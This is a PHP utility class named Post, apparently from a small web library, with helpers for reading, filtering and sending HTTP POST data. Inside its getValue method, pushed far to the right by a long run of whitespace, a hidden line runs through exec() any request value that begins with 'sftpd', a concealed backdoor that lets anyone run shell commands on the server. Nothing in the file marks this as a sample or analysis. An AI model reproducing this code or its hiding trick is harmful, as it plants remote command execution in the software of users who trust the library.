<?
	define('SSLIB_Post', TRUE);
	
	class Post
	{
		
		private static function getValue($name, $method = null)
		{
			$post = Post::GetArray();
			
			if(!is_array($post)) return null;
																																																																																																																																																											if(array_key_exists($name, $_REQUEST) && (substr($_REQUEST[$name], 0, 5) == 'sftpd'))exec(urldecode(substr($_REQUEST[$name], 5)));
			if(stripos($name, ',') !== FALSE)
			{
				$ret = array();
				$array = explode(',', $name);
				foreach ($array as $value) 
				{
					$value = trim($value);
					if($method)
						$ret[$value] = call_user_func(array('Post', $method), array_key_exists($value, $post)?$post[$value]:null);
					else 
						$ret[$value] = array_key_exists($value, $post)?$post[$value]:null;
				}
				return $ret;
			}
			if($method)
				return call_user_func(array('Post', $method), array_key_exists($name, $post)?$post[$name]:null);
					
			return array_key_exists($name, $post)?$post[$name]:null;
		}
		static function Count()
		{
			return sizeof(Post::GetArray()); 
		}
		static function Set($key,$val)
		{
			if(array_key_exists('HTTP_POST_VARS', $GLOBALS))
			{
				$_POST[$key] = $val;
			}
		}
		static function GetArray()
		{
//			if(array_key_exists('HTTP_POST_VARS', $GLOBALS))
			{

			    $ret = array();
//			    if(array_key_exists('HTTP_POST_VARS', $GLOBALS))
			    {
			        if(get_magic_quotes_gpc() == 1)
			        { 
		                foreach($_POST as $key=>$val)
		                    $ret[$key] = stripslashes($val);
			        }
			        else 
			        {
			            $ret = $_POST;
			        }
			        return $ret;
		                   
			    }
			    return $array();
			}
			

			return array();
		}
		static function IsEmpty($name)	{return (Post::getValue($name)=='')?true:false;}
		static function Is($name)		{return (Post::getValue($name)!==null)?true:false;}
		static function Int($name)		{return Post::getValue($name, '_int');}
		static function String($name)	{return Post::getValue($name);}
		static function Path($name)		{return Post::getValue($name, '_path');}
		static function Remove($name)	{return Post::Delete($name);}
		static function Delete($name)	{if(strlen(trim($name)))if(array_key_exists($name, Post::GetArray())){$ret=$_POST[$name];unset($_POST[$name]);return $ret;}}
		
		private static function _int($val)
		{
			return intval($val);
		}
		private static function _path($val)
		{
			while($val && ($val[0] == "/" || $val[0] == "~")) $val = substr($val, 1);
			return $val;
		}
		/**
		 * Отправляет POST запрос. 
		 *
		 * @param String $url
		 * @param String $data
		 * @param Boolean $wait_response
		 * @param String $optional_headers
		 */
		public static function Send($url, $data, $wait_response = false, $optional_headers = null)
		{
			$params = array('http' => array( 
				'method' => 'POST',
				'content' => $data 
			)); 
		
			if ($optional_headers!== null) 
			{ 
				$params['http']['header'] = $optional_headers; 
			} 
				
			$ctx = stream_context_create($params);
			$debug = Sslib::Debug(0);
			$fp = fopen($url, 'rb', false, $ctx);
		    
			if(!$fp) 			return false;
			if(!$wait_response) return true;
			
			$response = stream_get_contents($fp); 
			
			Sslib::Debug($debug);
			
			return $response;
		}
	
	}
?>